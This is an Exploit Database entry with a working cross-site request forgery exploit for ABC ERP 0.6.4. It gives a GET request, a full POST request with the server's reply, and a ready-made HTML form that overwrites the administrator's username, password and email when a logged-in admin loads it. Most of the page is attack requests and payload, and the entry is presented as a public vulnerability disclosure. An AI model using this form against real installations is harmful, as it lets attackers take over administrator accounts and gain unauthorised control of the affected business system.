ABC ERP 0.6.4 - Cross-Site Request Forgery (Update Admin)

EDB-ID:
45836

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-13

Vulnerable App:

```
# Exploit Title: ABC ERP 0.6.4 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.abc-erp.com/
# Software Link: https://netcologne.dl.sourceforge.net/project/abc-
erp/abc_v_0_6_4.zip
# Version: 0.6.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# GET /[PATH]/admin/run/_configurar_perfil.php?
usuario=efe&contrasena1=efe&contrasena2=efe&nombre=1&email=efe@omerefe.com&ol
#

# POC:
# 2)
# http://localhost/[PATH]/admin/run/_configurar_perfil.php
#
POST /[PATH]/admin/run/_configurar_perfil.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------365714224146991011271956272 7
Content-Length: 770
---------------------------365714224146991011271956272 7
Content-Disposition: form-data; name="usuario"
admin
---------------------------365714224146991011271956272 7
Content-Disposition: form-data; name="contrasena1"
efe
---------------------------365714224146991011271956272 7
Content-Disposition: form-data; name="contrasena2"
efe
---------------------------365714224146991011271956272 7
Content-Disposition: form-data; name="nombre"
efe
---------------------------365714224146991011271956272 7
Content-Disposition: form-data; name="email"
efe@omerefe.com
---------------------------365714224146991011271956272 7
Content-Disposition: form-data; name="old_usuario"
admin
---------------------------365714224146991011271956272 7--
HTTP/1.1 302 Found
Date: Sat, 10 Nov 2018 22:48:37 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=q4h99gt9616juhb7qvkehf0u87; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Location: http://192.168.1.27/exploitdb/abc_v_0_6_4/?id=login
Content-Length: 187
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
```

```
# POC:
# 3)
# http://localhost/[PATH]/admin/run/_configurar_perfil.php
#
<html>
<body>
<form id="formulario" method="post"
action="http://localhost/[PATH]/admin/run/_configurar_perfil.php"
enctype="multipart/form-data">
    <fieldset>
    <legend>Datos del Usuario</legend>
    <ol>
    <li>
        <label><strong>Usuario</strong></label>
        <input name="usuario" id="nombre" size="15" value="admin"
type="text">
    </li>
    <li>
        <label>Contraseña</label>
        <input name="contrasena1" size="10" value="" type="password"> (sólo
se modificará si escribe algún valor)
    </li>
    <li>
        <label>Contraseña (repetida)</label>
        <input name="contrasena2" size="10" value="" type="password"> (sólo
se modificará si escribe algún valor)
    </li>
    <li>
        <label><strong>Nombre</strong></label>
        <input name="nombre" size="20" value="" type="text">
    </li>
    <li>
        <label><strong>E-mail</strong></label>
        <input name="email" size="20" value="" type="text">
    </li>
    </ol>
    </fieldset>
    <fieldset class="submit">
        <input name="old_usuario" value="admin" type="hidden">
        <input value="Enviar" type="submit">
    </fieldset>
</form>
</body>
</html>
```

Tags: Cross-Site Request Forgery (CSRF)

Advisory/Source: Link

Databases

Links

Sites

Solutions